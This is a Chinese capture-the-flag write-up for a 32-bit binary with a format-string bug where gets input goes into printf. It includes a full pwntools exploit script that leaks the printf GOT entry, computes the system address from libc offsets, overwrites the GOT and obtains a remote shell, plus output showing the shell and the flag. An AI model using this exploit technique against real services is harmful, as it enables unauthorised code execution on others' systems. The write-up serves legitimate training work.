文章目录

这是一个32位的程序,并且给了libc。

1
2
$ file pwn1
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped

我们用gdb-peda查看只开了一个NX保护,有NX保护的话直接写入shellcode这条路就行不通了。

1
2
3
4
5
6
7
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$

分析后发现这个程序存在格式化字符串漏洞,并且我们输入的数据被gets函数输入后,又传给了printf函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [sp+14h] [bp-6Ch]@3
int v4; // [sp+18h] [bp-68h]@5
int v5; // [sp+7Ch] [bp-4h]@1
v5 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
while ( 1 )
{
introduce();
do
__isoc99_scanf("%d", &v3);
while ( getchar() == "\n" );
if ( v3 == 1 )
{
puts("please input your name:");
gets(&v4);
printf(&v4);
puts(",you are welcome!");
}
else if ( v3 == 2 )
{
puts("nothing!!!!lol");
}
else
{
puts("please,don't trick me");
}
}
}

利用思路:

  1. 利用printf函数泄露出printf函数的地址。
  2. 利用给出的libc计算出偏移量,计算出system函数的地址。
  3. 将printf的got地址修改为system函数的地址。
  4. 利用gets函数传入/bin/sh参数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
from pwn import *
p = remote("115.28.185.220",11111)
#gdb.attach(p,'b *0x08048618\n')
#context.log_level = "debug"
printfGOT = 0x0804a010
#printfOffset = 0x4D410
#systemOffset = 0x40310
printfOffset = 0x4CDD0
systemOffset = 0x3FE70
p.recvuntil("$")
p.sendline("1")
p.recvuntil(":")
p.sendline(p32(printfGOT)+"--%6$s--")
#print p.recvline()
p.recvuntil('--')
res=p.recvuntil('--')[:-2]
res = res[0:4]
printfAddress=u32(res)
print "printfAddress:", hex(printfAddress)
systemAddress = printfAddress - printfOffset + systemOffset
print "printf:", hex(printfAddress)
print "system:", hex(systemAddress)
payload = fmtstr_payload(6, {printfGOT: systemAddress})
p.recvuntil("$")
p.sendline("1")
p.recvuntil(":")
p.sendline(payload)
p.sendline("1")
p.recvuntil(":")
p.sendline("/bin/sh")
print p.recvline()
p.interactive()

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python pwn1.py
[+] Opening connection to 115.28.185.220 on port 11111: Done
printfAddress: 0xf75e5dd0
printf: 0xf75e5dd0
system: 0xf75d8e70
[*] Switching to interactive mode
1.get your name
2.heiheihei
sh: 1: plz: not found
please input your name:
$ cat home/pwn1/flag
flag{Pwn1TdsS_@tdxIscc}$
$

文章目录